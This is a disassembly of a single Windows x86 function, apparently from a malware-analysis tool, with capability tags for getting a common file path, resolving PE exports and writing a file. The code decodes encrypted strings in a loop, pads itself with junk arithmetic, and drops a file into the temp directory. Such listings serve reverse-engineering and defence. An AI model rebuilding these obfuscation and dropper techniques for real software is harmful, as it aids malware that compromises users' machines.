Function at 0x4090c0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e968
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
mov eax, dword [0x4260f0]
xor eax, esp
mov dword [esp + 0xd0], eax
push ebx
push esi
push edi
mov eax, dword [0x4260f0]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
fldz
xor eax, eax
mov dword [esp + 0x18], eax
fst dword [esp + 0x34]
fldz
xor ecx, ecx
fst qword [esp + 0x6c]
xor edx, edx
mov dword [esp + 0x3c], eax
mov word [esp + 0x38], cx
fst qword [esp + 0x4c]
mov word [esp + 0x1c], dx
fxch st(1)
fst dword [esp + 0x24]
mov dword [esp + 0x40], eax
fst dword [esp + 0x28]
fxch st(1)
fstp qword [esp + 0x5c]
fstp dword [esp + 0x20]
fld dword [0x423e10]
fld qword [esp + 0x5c]
mov dword [esp + 0x98], 0xf
fsub qword [0x41f928]
mov dword [esp + 0x94], eax
mov byte [esp + 0x84], al
fsubp st(1)
fstp dword [0x423e10]
mov dword [esp + 0xf0], eax
mov ax, word [0x425dc4]
movsx ecx, ax
sub ecx, 0x42493d03
mov dword [esp + 0x14], ecx
push 0x118
fild dword [esp + 0x18]
fmul qword [esp + 0x60]
fstp qword [esp + 0x60]
call fcn.0040b759
push eax
mov dword [esp + 0x84], eax
call fcn.00403450
add esp, 8
push 0
call fcn.0040b47a
mov edi, edx
mov dx, word [esp + 0x20]
mov esi, eax
movsx eax, dx
mov dword [esp + 0x18], eax
add esp, 4
mov dword [esp + 0x74], esi
fild dword [esp + 0x14]
mov dword [esp + 0x78], edi
fld qword [esp + 0x4c]
fsub qword [0x41f920]
fsubp st(1)
call fcn.0040b550
mov ecx, dword [esp + 0x40]
cmp edi, ecx
mov word [esp + 0x1c], ax
jg 0x40920b
jl 0x4091fd
cmp esi, dword [esp + 0x3c]
jae 0x40920b
xor ecx, ecx
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], ecx
mov eax, esi
sub eax, dword [esp + 0x3c]
mov edx, edi
sbb edx, ecx
mov dword [esp + 0x30], edx
js 0x409c6b
jg 0x40922c
cmp eax, 0x708
jbe 0x409c6b
fld dword [esp + 0x20]
mov ax, word [esp + 0x1c]
mov dx, word [0x4259e4]
movsx ecx, ax
mov dword [esp + 0x14], ecx
movsx eax, dx
fild dword [esp + 0x14]
mov dword [esp + 0x14], eax
fsubp st(1)
fild dword [esp + 0x14]
fsubp st(1)
call fcn.0040b550
mov dword [0x4246dc], eax
dec dword [esp + 0x1c]
fld dword [esp + 0x20]
fld1
mov dword [esp + 0x3c], esi
fsub st(1), st(0)
shr esi, 9
fxch st(1)
push 0x408
lea ebx, [esi + 0x55]
push str.h_h
fstp dword [esp + 0x28]
mov dword [esp + 0x48], edi
fld dword [esp + 0x2c]
mov dword [esp + 0x1c], 0
fstp dword [esp + 0x3c]
mov dword [esp + 0x50], esi
mov dword [esp + 0x34], ebx
fadd dword [esp + 0x2c]
fstp dword [esp + 0x2c]
call fcn.00402510
inc dword [0x4259e8]
mov cx, word [0x425d18]
mov edx, dword [0x4259e8]
mov dword [esp + 0x70], eax
movsx eax, cx
sub eax, edx
sub eax, 0x28d6bfc9
push 0xd
push str.dAK
mov word [0x425d18], ax
call fcn.00402510
mov edi, eax
push 0xaf1
push 0x4231a0
mov dword [esp + 0x5c], edi
call fcn.00402510
push 0x31e
push 0x4259f8
mov dword [esp + 0x84], eax
call fcn.00402510
add esp, 0x20
mov dword [esp + 0x58], eax
cmp esi, ebx
je 0x409887
lea esp, [esp]
mov eax, dword [0x4278e0]
push 0
push eax
call fcn.00402800
add esp, 8
test eax, eax
jne 0x40934a
mov ecx, dword [0x4278e8]
mov edx, dword [0x427424]
push ecx
push edx
call fcn.00402660
add esp, 8
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x58]
mov edx, dword [esp + 0x64]
push eax
push ecx
push edx
lea eax, [esp + 0xa8]
push eax
call fcn.00402ee0
push 0x8b
push str._T1U_n
call fcn.00402510
mov cx, word [0x423e80]
mov dx, word [0x425924]
mov ebx, eax
movsx eax, cx
movsx ecx, dx
mov edx, dword [esp + 0x30]
sub eax, edx
mov edx, dword [0x425fb4]
sub ecx, edx
mov edx, 1
add dword [0x425fb4], edx
add dword [esp + 0x30], edx
sub eax, 0x297eb06a
add esp, 0x18
cmp eax, ecx
je 0x4093db
dec dword [0x425860]
mov eax, dword [0x425860]
fld qword [0x425e68]
fstp st(0)
fld qword [0x425e68]
fadd qword [0x41f348]
fstp qword [0x425e68]
jmp 0x4093ff
mov ecx, dword [0x424774]
mov dword [esp + 0x34], ecx
fild dword [esp + 0x34]
fadd qword [esp + 0x5c]
fadd dword [0x425fb0]
fstp dword [0x425fb0]
dec dword [0x424774]
mov eax, dword [esp + 0x44]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409405
mov edi, ebx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409411
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
push 0
lea edx, [esp + 0x88]
push edx
mov ecx, eax
lea eax, [esp + 0xa8]
and ecx, 3
push ebx
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004085e0
xor edx, edx
fld dword [0x41f918]
push 0x8b
xor ecx, ecx
fstp dword [esp + 0x4c]
push edx
mov word [esp + 0x2c], cx
push ebx
mov word [esp + 0x30], dx
call fcn.0040b690
push ebx
call fcn.0040b5fb
mov eax, dword [esp + 0xa8]
add esp, 0x24
cmp dword [esp + 0x98], 0x10
jae 0x409489
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x68]
push ecx
push eax
push edx
call fcn.00407f90
add esp, 0xc
cmp eax, 9
jl 0x409c47
mov ecx, dword [esp + 0x84]
mov edi, 0x10
cmp dword [esp + 0x98], edi
jae 0x4094c4
lea ecx, [esp + 0x84]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x78]
jl 0x409c47
jg 0x4094de
cmp edx, dword [esp + 0x74]
jb 0x409c47
lea esi, [eax - 1]
cmp esi, dword [esp + 0x94]
jbe 0x4094ef
call fcn.0040bd40
mov eax, dword [esp + 0x84]
cmp dword [esp + 0x98], edi
jae 0x409506
lea eax, [esp + 0x84]
mov byte [eax + esi], 0
fld dword [0x423150]
fmul qword [0x41f910]
mov eax, dword [esp + 0x84]
fstp dword [0x423150]
cmp dword [esp + 0x98], edi
jae 0x409533
lea eax, [esp + 0x84]
lea ecx, [esp + 0x9c]
add eax, 8
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409560
test dl, dl
je 0x40955c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409560
add eax, 2
add ecx, 2
test dl, dl
jne 0x409540
xor eax, eax
jmp 0x409565
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4095ca
fld dword [esp + 0x28]
fsub qword [0x41f908]
fadd qword [0x41f900]
fcomp qword [0x41f8f8]
fnstsw ax
fld dword [esp + 0x28]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [esp + 0x28]
test ah, 0x41
jp 0x409c45
fadd dword [esp + 0x20]
fstp dword [esp + 0x20]
fld dword [esp + 0x20]
fld dword [esp + 0x24]
fsubr qword [0x41f8f0]
fcompp
fnstsw ax
test ah, 0x41
jne 0x409c47
mov dword [0x425ff0], 0x1e15f36b
jmp 0x409c47
dec dword [0x4259e8]
fld dword [0x4253f4]
mov eax, dword [0x4259e8]
mov dword [esp + 0x10], eax
fisub dword [esp + 0x10]
fsub qword [0x41f8e8]
fld qword [0x423e08]
fsubr qword [0x41f8e0]
fucompp
fnstsw ax
fld dword [0x4253f4]
fsub qword [0x41f348]
fstp dword [0x4253f4]
test ah, 0x44
jnp 0x40961a
add dword [esp + 0x18], 0x2a5388d9
jmp 0x409634
fld qword [0x4246c8]
fsub qword [0x41f8d8]
fadd qword [0x41f8d0]
fmul qword [esp + 0x4c]
fstp qword [esp + 0x4c]
mov ebx, dword [esp + 0x98]
mov edx, dword [esp + 0x84]
cmp ebx, edi
jb 0x409720
mov edi, edx
test edx, edx
je 0x40967d
mov eax, edx
cmp ebx, 0x10
jae 0x40965e
lea eax, [esp + 0x84]
cmp eax, edi
ja 0x40967d
mov eax, edx
cmp ebx, 0x10
jae 0x409670
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
add eax, ecx
cmp edi, eax
jbe 0x409697
call fcn.0040bd40
mov ebx, dword [esp + 0x98]
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x84]
lea esi, [esp + 0x80]
mov dword [esp + 0x70], edi
mov eax, edx
cmp ebx, 0x10
jae 0x4096b0
lea eax, [esp + 0x84]
lea edi, [eax + ecx]
test edi, edi
je 0x4096dd
mov eax, edx
cmp ebx, 0x10
jae 0x4096c5
lea eax, [esp + 0x84]
cmp eax, edi
ja 0x4096dd
mov eax, edx
cmp ebx, 0x10
jae 0x4096d7
lea eax, [esp + 0x84]
add eax, ecx
cmp edi, eax
jbe 0x4096e2
call fcn.0040bd40
cmp esi, 0xfffffffc
je 0x4096fb
test esi, esi
je 0x4096f6
lea ecx, [esp + 0x80]
cmp esi, ecx
je 0x4096fb
call fcn.0040bd40
mov ebx, dword [esp + 0x70]
cmp ebx, edi
je 0x40979a
cmp esi, 0xfffffffc
je 0x40973d
test esi, esi
jne 0x409715
call fcn.0040bd40
cmp dword [esi + 0x18], 0x10
jb 0x40972c
mov eax, dword [esi + 4]
jmp 0x40972f
lea edi, [esp + 0x84]
jmp 0x409650
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x40973d
call fcn.0040bd40
mov byte [ebx], 0
fld qword [0x423d38]
fmul qword [0x41f8c8]
fstp qword [0x423d38]
cmp esi, 0xfffffffc
je 0x40977c
test esi, esi
jne 0x409760
call fcn.0040bd40
cmp dword [esi + 0x18], 0x10
jb 0x40976b
mov eax, dword [esi + 4]
jmp 0x40976e
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x40977c
call fcn.0040bd40
inc dword [esp + 0x70]
mov ebx, dword [esp + 0x98]
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x84]
jmp 0x4096a2
push 0x7e
push str._T1U_n
call fcn.00402510
push 0
push 0
lea edx, [esp + 0x90]
mov esi, eax
push edx
lea eax, [esp + 0xb0]
push esi
push eax
call fcn.004085e0
xor edx, edx
push 0x7e
xor ecx, ecx
push edx
mov word [esp + 0x34], cx
push esi
mov word [esp + 0x38], dx
call fcn.0040b690
push esi
call fcn.0040b5fb
push 0xc
push 0x424650
call fcn.00402510
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4097f3
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x8c]
call fcn.004041b0
mov edi, eax
xor eax, eax
mov dword [esi], eax
xor ecx, ecx
mov word [esp + 0x10], ax
mov dword [esi + 4], eax
push esi
mov word [esp + 0x14], cx
mov dword [esi + 8], eax
call fcn.0040b5fb
mov edx, dword [esp + 0x98]
add edx, 0xfffffff5
add esp, 4
cmp edi, edx
jne 0x409c47
fld dword [0x423d8c]
mov ax, word [0x425864]
movsx ecx, ax
mov dword [esp + 0x2c], ecx
push 0xb
mov esi, 1
fild dword [esp + 0x30]
push edi
lea ecx, [esp + 0x88]
fadd qword [0x424788]
fsubp st(1)
fstp dword [0x423d8c]
add word [0x425864], si
call fcn.00405c70
mov dword [esp + 0x14], esi
mov edi, dword [esp + 0x44]
fld dword [esp + 0x34]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x68]
mov dword [esp + 0x2c], edx
fisub dword [esp + 0x2c]
xor ecx, ecx
push 0x408
xor eax, eax
push ecx
push esi
fstp dword [esp + 0x40]
inc dword [esp + 0x24]
mov word [esp + 0x1c], ax
mov word [esp + 0x1c], cx
call fcn.0040b690
push esi
call fcn.0040b5fb
xor eax, eax
mov dword [edi], eax
xor edx, edx
mov dword [edi + 4], eax
mov word [esp + 0x20], dx
mov dword [edi + 8], eax
mov word [esp + 0x20], ax
push edi
mov byte [edi + 0xc], al
call fcn.0040b5fb
mov esi, dword [esp + 0x6c]
xor edx, edx
push 0x31e
xor ecx, ecx
push edx
mov word [esp + 0x2c], cx
mov word [esp + 0x2c], dx
push esi
call fcn.0040b690
push esi
call fcn.0040b5fb
mov ax, word [0x425d1c]
mov esi, dword [esp + 0x88]
movsx ecx, ax
mov dword [esp + 0x50], ecx
xor eax, eax
push 0xaf1
fild dword [esp + 0x54]
xor edx, edx
push eax
push esi
fadd dword [esp + 0x54]
fsub qword [0x41f8c0]
fadd dword [esp + 0x58]
fstp dword [esp + 0x58]
fld dword [esp + 0x54]
fadd qword [0x41f348]
fstp dword [esp + 0x54]
mov word [esp + 0x40], dx
mov word [esp + 0x40], ax
call fcn.0040b690
push esi
call fcn.0040b5fb
push 0x40
lea ecx, [esp + 0xd4]
push 0
push ecx
call fcn.0040b690
add esp, 0x40
cmp dword [esp + 0x14], 0
je 0x409c6b
mov edx, dword [esp + 0x7c]
push 0x708
push edx
call fcn.004035a0
add esp, 8
cmp dword [esp + 0x94], 0x200
jbe 0x409bbe
push 0x370
call fcn.0040b759
mov ebx, eax
mov ax, word [esp + 0x3c]
movsx ecx, ax
add ecx, 0x51abb32a
add esp, 4
mov dword [esp + 0x2c], ecx
push ebx
push 0xeb
fild dword [esp + 0x34]
fstp dword [0x4258e8]
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00402bc0
push 3
push 0x4246d8
call fcn.00402510
mov esi, eax
push esi
push ebx
call fcn.0040c2ed
mov edi, eax
xor eax, eax
xor edx, edx
mov word [esp + 0x28], dx
mov word [esi], ax
push esi
mov word [esp + 0x2c], ax
mov byte [esi + 2], al
call fcn.0040b5fb
mov eax, dword [esp + 0xa0]
add esp, 0x1c
cmp dword [esp + 0x98], 0x10
jae 0x409a30
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
push edi
push 1
push ecx
push eax
call fcn.0040c515
push edi
call fcn.0040be93
movzx edx, word [esp + 0x30]
movsx eax, dx
mov ecx, 0x9b88de08
sub ecx, eax
add ecx, dword [0x424778]
add esp, 0x14
mov dword [esp + 0x2c], ecx
push 0x104
lea eax, [ebx + 0x104]
fild dword [esp + 0x30]
push eax
push 0
fadd dword [esp + 0x2c]
fstp dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x425fc0
call fcn.00402510
push 0x20
push 0x425d20
mov edi, eax
call fcn.00402510
mov edx, dword [0x4278e0]
push edx
mov esi, eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040c304
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
xor ecx, ecx
mov word [esp + 0x38], ax
mov dword [esi + 0x18], eax
mov word [esp + 0x38], cx
push esi
mov dword [esi + 0x1c], eax
call fcn.0040b5fb
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
xor edx, edx
mov dword [edi + 0xc], eax
mov word [esp + 0x3c], dx
mov dword [edi + 0x10], eax
mov word [esp + 0x3c], ax
push edi
mov byte [edi + 0x14], al
call fcn.0040b5fb
mov ecx, dword [0x4278e0]
push 1
push ecx
call fcn.00402800
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.00402660
dec dword [0x423ecc]
movzx edx, word [0x425e28]
mov ecx, dword [0x423ecc]
movsx eax, dx
add esp, 0x40
sub eax, ecx
mov dword [esp + 0x2c], eax
fild dword [esp + 0x2c]
fld dword [esp + 0x24]
fadd qword [0x41f8b8]
fcompp
fnstsw ax
test ah, 0x41
jp 0x409b88
fld qword [0x423eb8]
fsub qword [0x41f8b0]
call fcn.0040b550
mov dword [esp + 0x18], eax
fld qword [0x423eb8]
fadd qword [0x41f348]
fstp qword [0x423eb8]
push 0x370
push 0
push ebx
call fcn.0040b690
push ebx
call fcn.0040b5fb
fld qword [esp + 0x6c]
fsub qword [0x41f8a8]
add esp, 0x10
call fcn.0040b550
push 0x15f90
mov word [0x42580c], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
or ecx, 0xffffffff
add dword [esp + 0x38], ecx
movzx edx, word [0x4245ec]
movsx eax, dx
movzx edx, word [esp + 0x38]
movsx edx, dx
sub edx, eax
mov ax, word [esp + 0x1c]
add dword [esp + 0x1c], ecx
cwde
mov esi, 0xf244b85c
sub edx, 0x4043465e
sub esi, eax
cmp esi, edx
jl 0x409c5f
mov cx, word [0x423eec]
movsx edx, cx
mov dword [esp + 0x2c], edx
fild dword [esp + 0x2c]
fadd qword [esp + 0x4c]
fsub dword [esp + 0x28]
fcomp qword [0x41f8a0]
fnstsw ax
fld dword [esp + 0x28]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [esp + 0x28]
fadd qword [esp + 0x4c]
fstp qword [esp + 0x4c]
test ah, 1
jne 0x409c6b
fld dword [0x425dc8]
fsub qword [0x41f898]
fstp dword [0x425dc8]
jmp 0x409c6b
fstp st(0)
mov eax, dword [esp + 0x48]
inc eax
mov dword [esp + 0x48], eax
cmp eax, dword [esp + 0x2c]
jne 0x409320
jmp 0x409883
fld dword [0x41f890]
fstp dword [0x4247fc]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4278e0]
push 0
push eax
call fcn.00402800
add esp, 8
test eax, eax
jne 0x4091b1
mov ecx, dword [0x4278e8]
mov edx, dword [0x427424]
push ecx
push edx
call fcn.00402660
jmp 0x4091ae